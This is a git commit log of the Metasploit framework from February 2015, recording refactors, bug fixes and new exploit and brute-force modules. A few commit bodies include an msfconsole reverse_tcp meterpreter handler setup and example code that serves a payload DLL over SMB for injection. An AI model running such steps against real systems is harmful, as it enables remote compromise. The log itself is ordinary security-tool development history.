Christian Mehlmauer 9223c23eb4 Land #4808, Wordpress plugin upload module 2015-02-21 23:01:15 +01:00
HD Moore 4fd2f6867f Switch to rb-readline-r7 for now 2015-02-21 11:30:40 -06:00
sinn3r aa8a82f44f Update MS15-001 reference 2015-02-21 08:39:21 -06:00
rastating 708340ec5a Tidy up various bits of code 2015-02-21 12:53:33 +00:00
jvazquez-r7 80aef690a0 Do first commands refactoring 2015-02-21 01:48:47 -06:00
jvazquez-r7 ef62e1fc04 Land #4798, @wchen-r7's deletion of x64 support on ms13_022_silverlight_script_object
* Ungenuine support, well deleted
2015-02-21 01:11:09 -06:00
jvazquez-r7 ef990223d5 Move arch out of target 2015-02-21 01:10:35 -06:00
jvazquez-r7 52b41ab4f8 Do first Share refactoring 2015-02-21 01:00:46 -06:00
sinn3r 441c301fd3 Fix #4458, more informative errors for ms04_011
Fix #4458
2015-02-21 00:32:20 -06:00
sinn3r bf2be7964b Fix #4592, print_* methods used in LoginScanner modules
Fix #4592
2015-02-20 22:46:21 -06:00
sinn3r fb9a054713 Fix rspec
The login URi is user-configurable so we shouldn't dictate this
anymore.
2015-02-20 22:08:09 -06:00
sinn3r f4e512e0ff Should be an array 2015-02-20 21:56:49 -06:00
sinn3r 40c237f507 Fix #3982, allow URIs to be user configurable
Fix #3982
2015-02-20 21:54:03 -06:00
sinn3r b8cb93d712 Fix #3790, document the creds -d feature
Fix #3790
2015-02-20 21:38:26 -06:00
sinn3r 099dbee538 Update help.feature 2015-02-20 21:23:02 -06:00
sinn3r b5f8ae85cf Fix #3827, Add support to rename a job
Fix #3827
2015-02-20 21:13:45 -06:00
sinn3r 85871ab822 Fix #4382, Make errors more meaningful
Fix #4382
2015-02-20 20:09:58 -06:00
rastating 76a64b31d7 Resolve msftidy issues 2015-02-21 01:41:29 +00:00
rastating 7d30b214ee Add WordPress admin shell upload module 2015-02-21 01:31:33 +00:00
rastating 7e1e0f8196 Add plugin upload functionality 2015-02-21 01:20:20 +00:00
jvazquez-r7 df903120e3 Reorganize trans2_find_first2 requests 2015-02-20 18:28:49 -06:00
sinn3r 40972220e3 Land #4804, HP Client Automation Command Injection 2015-02-20 16:56:03 -06:00
jvazquez-r7 52a0e6dd1c Mark a couple of handlers for later review 2015-02-20 16:28:04 -06:00
Brent Cook 58436fcc98 Land #4706 jvazquez-r7 adds NTLMSSP support for smb_relay 2015-02-20 15:15:00 -06:00
William Vu c9ddd0dac9 Land #4795, f5_bigip_cookie_disclosure update 2015-02-20 13:11:42 -06:00
William Vu b676f5a07e Clean up #4795 2015-02-20 13:10:31 -06:00
BAZIN-HSC 0d53dc1d13 use a buffer to avoid memory use on victims machine
use a buffer to avoid memory use on victims machine
use attacker memory to store files
avoid bugs on large files
2015-02-20 20:02:09 +01:00
William Vu 59b7f321e5 Land #4801, QConvergeConsole Tomcat creds 2015-02-20 12:54:07 -06:00
William Vu cd8f9065be Land #4807, reverse_http_proxy_pstore spec 2015-02-20 12:28:20 -06:00
Brent Cook 641b67469d add payload specs for reverse_http_proxy_pstore
PR predated the spec
2015-02-20 12:23:51 -06:00
Meatballs dc4898765f Fix EXE::Custom 2015-02-20 16:59:18 +00:00
jvazquez-r7 a91d19e0e7 Add template for SMB_QUERY_FILE_STANDARD_INFO 2015-02-20 10:58:15 -06:00
jvazquez-r7 21978a1bfe Add template for SMB_QUERY_FILE_BASIC_INFO 2015-02-20 10:40:45 -06:00
Brent Cook b624278f9d Merge branch 'master' into land-4706-smb_reflector 2015-02-20 10:26:04 -06:00
Brent Cook 765a1bffd7 Land #1396 @somename11111's http_proxy_pstore stager 2015-02-20 09:47:34 -06:00
jvazquez-r7 cf63e09188 Add templates for SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR and SMB_FIND_FILE_NAMES_INFO_HDR 2015-02-20 09:17:51 -06:00
Brent Cook 5297ebc1a1 Merge branch 'master' into land-1396-http_proxy_pstore
Bring things back to the future
2015-02-20 08:50:17 -06:00
Brent Cook 91b4a59fc7 msftidy fixes 2015-02-20 08:42:54 -06:00
BAZIN-HSC fe75a31a59 NTFS parser optimisation
NTFS Parser does not gather automaticaly non resident attribute
that were not necessary
Railgun is called 17 times instead of 32 on an examples on ntds.dit
2015-02-20 13:11:53 +01:00
Matthew Hall e6ecdde451 Modify SMB generation code to use primer based on #3074 changes to
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
2015-02-20 11:35:22 +00:00
Matthew Hall 2fc9d3ae8d Merge branch 'module-generic_http_dllinject' of github.com:0x41414141/metasploit-framework into module-generic_http_dllinject
Conflicts:
	modules/exploits/windows/http/generic_http_dll_server.rb
2015-02-20 11:34:13 +00:00
Matthew Hall 4963992b17 Modify SMB generation code to use primer based on #3074 changes to
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
2015-02-20 11:31:15 +00:00
Matthew Hall da829d9ea9 Modify SMB generation code to use primer based on #3074 changes to
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
2015-02-20 11:29:09 +00:00
Matthew Hall 9aef561fd3 Modify SMB generation code to use primer based on #3074 changes to
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
2015-02-20 11:28:35 +00:00
Matthew Hall 34f4ae782d Modify SMB generation code to use primer based on #3074 changes to
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
2015-02-20 11:26:19 +00:00
Matthew Hall 1751921ede Modify SMB generation code to use primer based on #3074 changes to
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
2015-02-20 11:01:38 +00:00
jvazquez-r7 1633a6d4fd Read response back while staging 2015-02-20 01:06:47 -06:00
jvazquez-r7 b0c6671721 Add module for ZDI-15-038, HPCA command injection 2015-02-20 00:41:17 -06:00
jvazquez-r7 f2405a5dc0 Create SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH constant 2015-02-20 00:35:26 -06:00
jvazquez-r7 571dffa317 Create template for SMB_FIND_FILE_BOTH_DIRECTORY_INFO 2015-02-20 00:22:33 -06:00
jvazquez-r7 94ad64546c Create TRANS2_PARAMETERS template 2015-02-19 23:16:52 -06:00
jvazquez-r7 b24b94ddd3 Do first cleanup of find_first2 handlers 2015-02-19 19:08:56 -06:00
Ferenc Spala c498ba64e4 Added a new pair of default Tomcat credentials. QLogic's QConvergeConsole comes with a bundled Tomcat with a hard-coded username and password for the manager app. 2015-02-19 15:08:50 -06:00
jvazquez-r7 74c43f5527 Delete more unused local variables 2015-02-19 14:39:55 -06:00
jvazquez-r7 1d5a977280 Delete a lot of verbose prints 2015-02-19 14:37:16 -06:00
jvazquez-r7 0940ceae75 Delete unused local variables 2015-02-19 14:26:46 -06:00
jvazquez-r7 c38c3519d8 Delete more unused code 2015-02-19 14:24:18 -06:00
jvazquez-r7 7487f9611b Do some extra prints 2015-02-19 14:11:27 -06:00
jvazquez-r7 d9b9de8e89 Delete unused code 2015-02-19 13:16:24 -06:00
jvazquez-r7 5510000bf1 Use constant for FLAGS2 2015-02-19 13:02:50 -06:00
jvazquez-r7 392137292e Old delete register prototype comment 2015-02-19 13:00:12 -06:00
sinn3r 49f4b68671 Land #4790, injecting code into eval-based Javascript unpackers 2015-02-19 12:33:52 -06:00
jvazquez-r7 39ceb5b90f Update smb_error on Exploit::Remote::SMB::Server 2015-02-19 12:10:28 -06:00
Matthew Hall 0f0c955287 Merge pull request #2 from jvazquez-r7/mixin_design_3074
Move code from Rex to mixin
2015-02-19 17:32:29 +00:00
sinn3r 036a6089eb Drop ungenuine x64 support in ms13_022_silverlight_script_object
The MS13-022 exploit does not actually run as x64. IE by default
still runs x86 so BES will always automatically select that target.

If IE forces x64 (which can be done manually), the BES detection
code will see it as ARCH_X86_64, and the payload generator will
still end up generating a x86 payload anyway.

If the user actually chooses a x64 payload, such as
windows/x64/meterpreter/reverse_tcp, the exploit is going to crash
because you can't run x64 shellcode on an x86 architecture.
2015-02-19 10:39:43 -06:00
William Vu 27a8c460bd Land #4797, revert of #4780 (issue #4669) 2015-02-19 09:58:20 -06:00
Brent Cook 4781ac4b39 the http service needs to keep running to handle meterpreter loading
revert a8f44ca68f
2015-02-19 09:38:48 -06:00
dnkolegov f6c871a8e5 Deleted spaces at EOL 2015-02-19 05:06:00 -05:00
dnkolegov caabb82975 Fixed indentation errors 2015-02-19 05:02:10 -05:00
sinn3r 1835120851 Update rspec for get_payload in BES 2015-02-19 02:45:54 -06:00
dnkolegov 2a584da6d9 Added cookie value in print function 2015-02-19 00:43:57 -05:00
Tod Beardsley 7a3bc017ff Land #4794, fix some db stuff, drop 1.9 tests 2015-02-18 17:26:02 -06:00
darkbushido e0e9445a40 removing 1.9.3 from travis
metasploit_data_models requires Ruby version >= 2.1.
2015-02-18 17:19:01 -06:00
darkbushido 67c0f590a0 Restoring mysteriusly changed db constraints... 2015-02-18 17:07:25 -06:00
jvazquez-r7 b85324435e Don't waste instance variables 2015-02-18 16:42:52 -06:00
jvazquez-r7 91d9d93fec Handle instance variables correctly 2015-02-18 16:35:20 -06:00
Tod Beardsley c57dee569c Land #3650, the last Meterpreter script ever. 2015-02-18 16:21:00 -06:00
jvazquez-r7 438b38dfe4 Use Rex::Text 2015-02-18 16:20:47 -06:00
jvazquez-r7 a815858644 Fix setup 2015-02-18 16:19:05 -06:00
Spencer McIntyre fe840635e5 Land #4791, fix ms14-070 CreateFile arguments
The arguments to CreateFileA used to require that the user had
some level of access on the \\.\tcp device.
2015-02-18 17:15:45 -05:00
Trevor Rosen 1099084fb0 Land #4761, enforce unique port number per service 2015-02-18 15:22:46 -06:00
Trevor Rosen 62fbf81f8a Update Gemfile.lock and schema.rb 2015-02-18 15:17:17 -06:00
David Maloney ffa6550aec Land #4787, HD's new Zabbix and Chef LoginScanners
Lands the new LoginScanners HD wrote for Zabbix
and the Chef WebUI
2015-02-18 14:51:16 -06:00
David Maloney 804db0ff0c add leixcal sorting to methods
lexical sort the new methods except for
msf module entrypoint methods which should always be at
the top
2015-02-18 14:50:33 -06:00
joev 483a145d19 Fix msftidy issues. 2015-02-18 14:08:03 -06:00
jvazquez-r7 3ca67ed294 Delete specs 2015-02-18 13:59:57 -06:00
jvazquez-r7 06dfa6b5be Fix initialize 2015-02-18 13:56:06 -06:00
jvazquez-r7 62c08094fd Delete the old FileServer mixin 2015-02-18 13:54:24 -06:00
jvazquez-r7 9068397fff Delete code commented by myself 2015-02-18 13:47:05 -06:00
jvazquez-r7 a446df95b2 Make Msf::Exploit::Remote::SMB::Server::Share a mixin 2015-02-18 13:45:48 -06:00
jvazquez-r7 874031b96d Delete require 2015-02-18 13:44:31 -06:00
jvazquez-r7 415c671416 Move Rex code, we'll redesign as mixin 2015-02-18 13:44:02 -06:00
jakxx 44a7e7e4bc publish-it fileformat exploit 2015-02-18 13:22:54 -05:00
William Vu 35511636cc Land #4788, splunk_web_login new version support 2015-02-18 11:54:54 -06:00
Jay Smith e40772efe2 Fixed open device issue for non-priv users
Fixed the open_device call to work for users without Administrator
privileges
2015-02-18 12:44:58 -05:00
jvazquez-r7 ff4aa1f9da Require FileServer mixin 2015-02-18 11:43:13 -06:00
jvazquez-r7 f960a77754 Solve merging conflicts 2015-02-18 11:36:47 -06:00
joev f8609ab0ba Add file format exploit for injecting code into unpackers. 2015-02-18 11:26:45 -06:00
jvazquez-r7 01bedb7351 Merge #3074, @0x41414141 SMBFileServer mixin 2015-02-18 10:53:05 -06:00
Matt Buck a9931cd410 Land #4725, convert Rails 3 AR calls in RPC_Db
Converts Rails 3 style ActiveRecord calls in RPC_Db to their Rails 4
counterparts.

Fixes #4725, also see MSP-12017
2015-02-18 09:59:40 -06:00
William Vu 10960310da Land #4786, cosmetic fixes from @hmoore-r7
For {axis,glassfish}_login.
2015-02-18 03:56:13 -06:00
William Vu 6a9d15a8d5 Land #4785, Rex::Proto::Http::Client context fixes 2015-02-18 03:47:26 -06:00
William Vu e2f5cc05c6 Land #4782, MSB reference fix
In ms13_022_silverlight_script_object title.
2015-02-18 03:44:15 -06:00
William Vu bda96f46e6 Land #4780, stop HTTP service with HTTP handler 2015-02-18 03:34:03 -06:00
HD Moore cc6899d783 Fix a stack trace on null response, thanks @jlee-r7 2015-02-18 00:38:55 -06:00
HD Moore f4d8a25981 Add support for newer Splunk versions 2015-02-18 00:30:47 -06:00
HD Moore 2847507f03 Add a chef brute force module 2015-02-17 23:49:57 -06:00
HD Moore 27d5ab45b4 Add a zabbix brute force module 2015-02-17 22:56:08 -06:00
HD Moore 85fd139ab0 Add missing context and a normalize_uri helper method 2015-02-17 22:55:53 -06:00
sinn3r 8ce1db5081 Fix #4783, raise exception if the payload arch is incompatible
Fix #4783
2015-02-17 21:47:17 -06:00
HD Moore f0e69cb526 Fix two cosmetic typos in the axis/glassfish modules 2015-02-17 21:01:35 -06:00
HD Moore 16932372db Calls to Rex::Proto::Http::Client.new were passing in empty context 2015-02-17 20:44:37 -06:00
vulp1n3 69b37976c1 Fix disclosure date. 2015-02-17 17:29:52 -08:00
vulp1n3 a19a5328f1 Add JBoss Seam 2 upload execute module
Versions of the JBoss Seam 2 framework  < 2.2.1CR2 fails to properly
sanitize inputs to some JBoss Expression Language expressions.  As a
result, attackers can gain remote code execution through the
application server.  This module leverages RCE to upload and execute
a meterpreter payload. CVE-2010-1871
2015-02-17 17:25:01 -08:00
sinn3r 59c413637a Land #4781, handle resolve_sid failure enumerating user profiles 2015-02-17 14:58:07 -06:00
sinn3r 6acbe64dbd The MSB reference in the title is wrong
It should be MS13-022.

MS12-022 is MSFT Expression Design.
2015-02-17 14:56:14 -06:00
William Vu be5a0ee9c2 Land #4777, @todb-r7's release fixes 2015-02-17 13:45:00 -06:00
Samuel Huckins bfe55d3414 Merging master into release 2015-02-17 13:28:51 -06:00
rastating e0d87a8886 Update to use store_loot for CSV export 2015-02-17 19:21:31 +00:00
Tod Beardsley fb06cb13cc Land #4774, Chromecast HTTP scanner 2015-02-17 13:11:25 -06:00
William Vu 687d84cdf0 Land wvu-r7#11, minor fixes for #4774 2015-02-17 13:08:30 -06:00
Tod Beardsley a8108cfc17 Be less stupid in the description
[See #4774]
2015-02-17 13:04:26 -06:00
Brent Cook bed40a83ee fix #4337: gracefully handle resolve_sid failure when enumerating user profiles
Rather than throwing a backtrace with an unresolvable SID, try to get as
much profile data as possible if resolve_sid fails.

```
[*] Determining session platform and type...
[-] Unexpected windows error 1332
[*] Checking for Firefox directory in:
C:\Users\Administrator\AppData\Roaming\Mozilla\
[-] Firefox not found
[*] Post module execution completed
```
2015-02-17 13:03:12 -06:00
Tod Beardsley 71c5f622ca Land #4775, Kindle Fire TV Stick controller 2015-02-17 12:59:54 -06:00
Tod Beardsley 053de8e62c Fix whitespace in author name
[See #4777]
2015-02-17 12:57:36 -06:00
Tod Beardsley 14e764ff5a Move to http subdirectory
After all, the wordpress scanners are all HTTP as well, and not under
some platform specific "wordpress" directory. Lots of other HTTP-ish
devices in there as well.
2015-02-17 12:53:18 -06:00
Tod Beardsley 5e07b01a1f Fix up description a tiny bit 2015-02-17 12:51:55 -06:00
William Vu 45b16c92b7 Prefer sleep
It's all the same, anyway.
2015-02-17 12:43:14 -06:00
William Vu 787deb4b23 Change service name to something more appropriate
Technically, it's part of DIAL, but we don't want to confuse the user
even more.
2015-02-17 12:41:31 -06:00
Brent Cook a8f44ca68f stop the http service when the reverse http handler stops 2015-02-17 12:38:20 -06:00
sinn3r b90639fd66 Land #4726, X360 Software actvx buffer overflow 2015-02-17 11:41:23 -06:00
David Maloney 8e50baaded Land #4771, userPrincipalName fix
Lands Meatballs1's PR to add userPrincipalName as a column
enumerated by the enum_ad_user* post modules.
2015-02-17 11:31:15 -06:00
Matthew Hall 666b8e3e72 Add timeout to connection handler 2015-02-17 17:27:03 +00:00
Matthew Hall 728cfafe4d cleanups 2015-02-17 17:27:03 +00:00
Matthew Hall e4bab60007 Generic HTTP DLL Injection Exploit Module
This is an example implementation of using the
Msf::Exploit::Remote::SMBFileServer module to perform
arbitrary DLL injection over SMB.
2015-02-17 17:27:03 +00:00
Matthew Hall d4aa44455c Merge branch 'module-exploitsmbfileserver' of github.com:0x41414141/metasploit-framework into module-exploitsmbfileserver 2015-02-17 17:25:36 +00:00
Matthew Hall 547d4d1950 Merge with master 2015-02-17 17:23:19 +00:00
Matthew Hall 9e2a483977 Add example usage to Msf::Exploit::Remote::SMBFileServer documentation 2015-02-17 17:23:18 +00:00
Matthew Hall cec817902f Add yardoc documentation for Msf::Exploit::Remote::SMBFileServer 2015-02-17 17:23:18 +00:00
Matthew Hall 5cf8833697 Tidy lib/msf/core/exploit/smb.rb following feedback from jlee-r7.
* Doc comments wrap at 78 chars to follow yardoc convention
 * Remove unused :server and SERVER vals
 * Use Utils class directly
 * Stop server within an ensure
 * Change SRVHOST to an OptAddress
2015-02-17 17:23:18 +00:00
Matthew Hall 8beed5652d Implement SMBFileServer mixin.
In order to accomplish remote file injection (e.g. DLL) this module
emulates an SMB service process to allow clients to load a file from a
network share.

This commit implements the SMBFileServer exploit module utilising the
::Rex::Proto::SMB::Server module to export the "start_smb_server"
function.

Utilising the module (example):
 include Msf::Exploit::Remote::SMBFileServer
 exe = generate_payload_dll
 @exe_file = rand_text_alpha(7) + ".dll"
 @share = rand_text_alpha(5)
 my_host = (datastore['SRVHOST'] == '0.0.0.0') ?
 Rex::Socket.source_address : datastore['SRVHOST']
 @unc = "\\#{my_host}\#{@share}\#{@exe_file}"
 start_smb_server(@unc, exe, @exe_file)
 // Inject DLL
 handle

A separate commit will provide a sample implementation of utilising this
module within a generic webserver DLL injection exploit:
./exploits/windows/http/generic_http_dllinject.rb
2015-02-17 17:23:18 +00:00
Matthew Hall c86caacf95 Merge branch 'master' into module-exploitsmbdllserver
Conflicts:
	lib/msf/core/exploit/smb.rb
2015-02-17 17:16:09 +00:00
Matthew Hall 6c68f0ab19 Merge with master 2015-02-17 17:12:59 +00:00
Matthew Hall 9f04e3bcf0 Merge branch 'master' into hp_dataprotector_dll_cmd_exec 2015-02-17 17:06:40 +00:00
Matthew Hall afca27dae5 Merge branch 'master' into cve-2014-0094 2015-02-17 17:06:21 +00:00
Matthew Hall 934af4cee9 Merge branch 'master' into module-smbfileserver 2015-02-17 17:01:44 +00:00
Tod Beardsley 214146beaa Correct author attribution 2015-02-17 10:52:55 -06:00
Matthew Hall 49971a6bc3 Add two more contants and handlers seen during testing. 2015-02-17 16:48:11 +00:00
sinn3r 6eaa3c264c Land #4763, LSBackgroundOnly for safari_user_assisted_download_launch 2015-02-17 10:41:59 -06:00
Brent Cook e08206d192 Land #4768, jvazquez-r7 reorganizes the SMB mixins 2015-02-17 10:36:19 -06:00
Tod Beardsley 6370c99755 Avoid version numbers in titles 2015-02-17 10:28:56 -06:00
Tod Beardsley 62a679ebb8 Avoid version numbers in titles
Usually, the versions are more of a range, and nearly always, the module
author never truly knows where the ranges are bounded. It's okay to
clarify in the description.
2015-02-17 10:26:40 -06:00
sinn3r 0597d2defb Land #4560, Massive Java RMI update 2015-02-17 10:07:07 -06:00
Brent Cook b4cf2f5d8c use correct response filter TLV_TYPE_VALUE_NAME 2015-02-17 08:46:25 -06:00
Meatballs ecefad946e Spellingz 2015-02-17 14:39:34 +00:00
Matthew Hall 1f6aebe3df Move to using constant values.
This commit adds several constants for TRANS2, QUERY_PATH_INFO, MAX_DATA_COUNT,
and NT2 FLAG2 Bits to smb/constants.rb, which have then been utilised in smb/server.rb
to reduce the use of magic values.
2015-02-17 14:31:31 +00:00
Brent Cook 8f74f8eeed pass down the new permissions parameters 2015-02-17 06:11:20 -06:00
Brent Cook cf0589f8c6 add support for direct reg access to pymeterpreter
When testing this, I found that the python meterpreter hangs running the
following, with or without these changes.

```
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set PythonMeterpreterDebug true
set lhost 192.168.43.1
exploit -j
sleep 5
use exploit/windows/local/trusted_service_path
set SESSION 1
check
```

This turned out to be that pymeterpreter ate all the rest of the data in the
recv socket by consuming 4k unconditionally. This would only be exposed if
there were multiple simultaneous requests so the recv buffer filled beyond a
single request, e.g. when using the registry enumeration functions.
2015-02-17 06:11:20 -06:00
Brent Cook 503f58375b add direct registry access methods
Rather than operating on a passed-in HKEY, these open and close the registry
key directly for each operation.

This pattern better reflects the actual API usage within msf, and removes extra
round-trips to open and close the registry key, reducing traffic and increasing
performance. I did not add direct versions of every registry operation.
There was no benefit for more rarely-used operations, other than requiring more
churn in the meterpreters.

The primary beneficiary of this is post exploitation modules that do registry
or service enumeration. See #3693 for test cases.
2015-02-17 06:11:20 -06:00
William Vu b4e2a50a6a Really fix the bug
App is so slow. :(
2015-02-17 06:10:32 -06:00
William Vu 09239b37aa Fix touchy YouTube app
It likes the previous video stopped before playing a new one.
2015-02-17 06:07:58 -06:00
William Vu 76e3539434 Add Amazon Fire TV YouTube remote control 2015-02-17 05:44:04 -06:00
Matthew Hall 3110c7b40f Adds smb_cmd_trans_find_first2_full to respond to "Find File Full Directory Info" FIND_FIRST2 requests,
as seen when using "type \\ip\share\file".
2015-02-17 11:37:44 +00:00
William Vu a4c6e427b4 Fix minor issue in chromecast_youtube 2015-02-17 05:13:25 -06:00
William Vu b3d301e960 Fix annoying double quotes
As much as I love them, the use here is inconsistent.
2015-02-17 05:12:28 -06:00
William Vu e16614abb9 Program a bit more defensively
Even though /setup/eureka_info should always be JSON...
2015-02-17 05:04:26 -06:00
William Vu ea4dd023ae Add SSID to report_service info 2015-02-17 04:46:11 -06:00
William Vu e5d6af6b23 Gather info from /setup/eureka_info
Looks better with SSID.
2015-02-17 04:37:16 -06:00
William Vu b6f83937ef Add chromecast_webserver scanner 2015-02-17 03:27:48 -06:00
Joshua Smith 14da69cb28 Land #4757, adds RC for auto payload gen
Closes #4740
Normally we type a bunch of msfvenom/msfconsole commands to generate a
payload for setting up a handler, sometimes we're too lazy to type a
bunch of commands so this should make things a little bit easier.
2015-02-16 14:09:31 -06:00
Meatballs 0debbbb948 Fixup spec 2015-02-16 19:07:55 +00:00
Meatballs 22664e63ca Increase default timeout 2015-02-16 19:07:55 +00:00
Meatballs 5fba54db99 Add addtional timing options 2015-02-16 19:07:55 +00:00
Nikita Oleksov 19cd00e6d5 Fix cookit name split 2015-02-16 23:53:32 +07:00
Meatballs 6559b43f1e EOL Spaces argh 2015-02-16 15:46:45 +00:00
Meatballs 12f2828829 Allow additional fields 2015-02-16 15:24:28 +00:00
Meatballs b77aed1c56 UPN is optional, should use sAMAccountName 2015-02-16 15:08:09 +00:00
Meatballs 3a894a29de Dont use magic values and use the userPrincipalName as the
username
2015-02-16 15:02:01 +00:00
Meatballs e42bbcbcbb Enum_ad modules should retrive userPrincipalName as it may differ
to the sAMAccountName value.
2015-02-16 14:03:15 +00:00
dnkolegov a44e858bd7 Fixed minor errors in F5 BigIP cookie disclosure module 2015-02-16 01:31:52 -05:00
rastating 73bac94fa8 Add Ultimate CSV Importer extract module 2015-02-15 15:27:27 +00:00
rastating a22f5c1287 Add extra readme check for case sensitive servers 2015-02-14 23:43:04 +00:00
rastating 40c92f5fe3 Add URL reference 2015-02-14 13:09:37 +00:00
rastating 4dce589bbe Add WordPress Holding Pattern file upload module 2015-02-14 12:54:03 +00:00
jvazquez-r7 2c842ee6d7 Fix namespaces on Server 2015-02-13 17:34:55 -06:00
jvazquez-r7 9b7bbc220b Fix namespaces on Client 2015-02-13 17:33:41 -06:00
jvazquez-r7 0158e94a18 Fix mixin usage 2015-02-13 17:18:51 -06:00
jvazquez-r7 0372b08d83 Fix mixin usage on modules 2015-02-13 17:17:59 -06:00
jvazquez-r7 46c6ac9ca1 Redefine namespaces and requires 2015-02-13 17:09:06 -06:00
jvazquez-r7 df1daff673 Move clients 2015-02-13 17:07:03 -06:00
jvazquez-r7 067aadf3a4 Fix namespaces 2015-02-13 17:05:46 -06:00
jvazquez-r7 f1ab7ed343 Mode smb.rb 2015-02-13 17:04:55 -06:00
jvazquez-r7 7367402bf1 Add requires 2015-02-13 17:03:48 -06:00
jvazquez-r7 ccabf30531 Move smb_server.rb 2015-02-13 16:58:19 -06:00
Samuel Huckins ce688f4247 Land #4765, Rails4 compatible finder conversion
* find_or_initialize_by_DYNAMIC
2015-02-13 15:56:09 -06:00
Brent Cook f6bc693bd4 Land #4767: @wchen-r7 fixes DNS lookups for Shodan search module 2015-02-13 14:40:24 -06:00
sinn3r fd441d2c5e Fix #4764, NameError unitialized constant Net::DNS in shodan_search 2015-02-13 14:40:23 -06:00
Samuel Huckins 7b7a6340c0 Land #4766, fixes vuln import finder query 2015-02-13 14:29:04 -06:00
sinn3r b197b98ab9 Land #4759, fix ms09_067_excel_featheader 2015-02-13 13:25:15 -06:00
Christian Catalan dc6a365a13 Fix finder query in Msf::DBManager::Vuln
MSP-12152

* This is part of updating finder queries to be Rails 4 compatibile
* In #find_vuln_by_details, pass in conditons hash crit rather than symbol :crit
2015-02-13 13:21:25 -06:00
sinn3r 6b99103cec Land #4690 - Update Nessus plugin to support the latest REST API
Resolves #4447
2015-02-13 12:46:01 -06:00
Sonny Gonzalez dc1eab377c Rails 4 finder conversion: convert find_or_initialize_by_x_and_y
MSP-12153

* convert to where(conditions).first_or_initialize
2015-02-13 12:39:44 -06:00
sinn3r bbf5fa881d Fix help again 2015-02-13 12:06:56 -06:00
sinn3r c78c40df78 Extra nessus_login in help 2015-02-13 12:00:54 -06:00
sinn3r 56454674f2 Fix nessus_help
Columns are arrays
2015-02-13 11:55:46 -06:00
sinn3r b55fd0572d Use print_status 2015-02-13 11:51:32 -06:00
sinn3r f5e0dddd3c Correct authentication
Can't always be true
2015-02-13 11:48:10 -06:00
sinn3r 9a56e5c4f9 Extra space 2015-02-13 11:40:49 -06:00
sinn3r 2f5fad4806 Share plugin name 2015-02-13 11:38:36 -06:00
William Vu f7fa76ae14 Land #4760, java_signed_applet .class cleanup 2015-02-13 10:06:27 -06:00
dnkolegov 19144e143a Fixed some errors in F5 BigIP cookie disclosure module 2015-02-13 03:29:23 -05:00
joev 49c9c02b53 Hide the dropped osx app. 2015-02-12 23:08:46 -06:00
William Vu 17437a3813 Land #4762, CVE reference for ie_uxss_injection 2015-02-12 22:04:41 -06:00
sinn3r 29163db7fc Add CVE reference for ie_uxss_injection 2015-02-12 17:16:59 -06:00
jvazquez-r7 3ae3d56caa Land #4745, fixes #4711, BrowserAutoPwn failing due to getpeername 2015-02-12 16:51:09 -06:00
David Maloney a0787f5bb9 bump credential version too 2015-02-12 16:36:45 -06:00
David Maloney 1296696aea get latests MDM for unique services
pull in the latest MDM to get the uniqueness validation
for Service objects

MSP-11643
2015-02-12 16:33:37 -06:00
jvazquez-r7 92422c7b9a Save the output file on local_directory 2015-02-12 16:16:21 -06:00
Brent Cook 4da28324e7 expound on java signer build instructions 2015-02-12 16:13:08 -06:00
Brent Cook 7e9a331087 remove unused .class files
These were added for multi/browser/java_signed_applet, but the class
files are already packaged in a jar file, which is what is actually
used.
2015-02-12 16:08:29 -06:00
Christian Mehlmauer 55f57e0b9b Land #4746, WordPress photo-gallery exploit 2015-02-12 22:24:12 +01:00
Christian Mehlmauer bce7211f86 added url and randomize upload directory 2015-02-12 22:16:37 +01:00
William Vu 39c0065560 Land #4758, SMTPDeliver DATA header fix 2015-02-12 15:07:31 -06:00
Matt Buck f0bf881cc3 Land #4720, update Rails 3-style .find(:first)
Eliminate the Rails 3-style .find(:first) calls, and replace with
Rails 4-compatible .first().

Fixes #4720, also see MSP-12012
2015-02-12 14:30:13 -06:00
David Maloney 72878e0c14 fixes bug with smtp header order
SMTP servers that support pipelining will not accept any
commands other than MAILFROM and RCPTTO before the DATA
command. We were sending Date and Subject before Data
which would cause some mailservers to suddenly drop
the connection refusing to send the mail.

MSP-12133
2015-02-12 14:13:39 -06:00
sinn3r 05d2703a98 Explain why obfuscation is disabled 2015-02-12 14:00:01 -06:00
William Vu 9b10cd5655 Land #4755, @todb-r7's release fixes 2015-02-12 13:16:08 -06:00
William Vu d7fa06de06 Fix off-by-one whitespace 2015-02-12 13:12:13 -06:00
Tod Beardsley c156ed62a9 on, not of. 2015-02-12 12:56:53 -06:00
Tod Beardsley e35f603888 Comma fascism 2015-02-12 12:49:45 -06:00
Tod Beardsley d89eda65fa Moar fixes, thanks @wvu-r7
See #4755
2015-02-12 12:46:38 -06:00
sinn3r 60c650d0c7 Add RC script for auto payload generation to starting a handler
Resolve #4740

Normally we type a bunch of msfconsole commands to generate a payload
to setting up a handler, sometimes we're really lazy to type a bunch
of commands so this should make things a little bit easier.
2015-02-12 12:23:34 -06:00
Tod Beardsley e78d08e20d Fix up titles, descriptions 2015-02-12 12:11:40 -06:00
sinn3r 50c72125a4 ::Errno::EINVAL, disable obfuscation, revoke ms14-064 2015-02-12 11:54:01 -06:00
jvazquez-r7 868bf4bc0f Land #4752, @rastating's exploit for Maarch LetterBox file upload 2015-02-12 11:47:08 -06:00
jvazquez-r7 155651e187 Make filename shorter 2015-02-12 11:45:51 -06:00
jvazquez-r7 95bfe7a7de Do minor cleanup 2015-02-12 11:45:51 -06:00
rastating 30f310321d Added CVE reference 2015-02-12 11:45:51 -06:00
rastating 38ad960640 Add Maarch LetterBox file upload module 2015-02-12 11:45:51 -06:00
William Vu 309159d876 Land #4753, updated ms14_070_tcpip_ioctl info 2015-02-12 09:57:29 -06:00
Spencer McIntyre 8ab469d3bd Update ms14-070 module information and references 2015-02-12 09:51:01 -05:00
root 199dca75a6 Implement db_import and finalize plugin 2015-02-12 13:32:49 +05:00
Tod Beardsley ab42bad460 Land #4751, enable autofail on msftidy checks
Also, removes the datastore check from msftidy.

Fixes #3853, finally.
2015-02-11 15:05:07 -06:00
William Vu 9b2fad24e0 Add new comment about post-merge hook 2015-02-11 13:48:13 -06:00
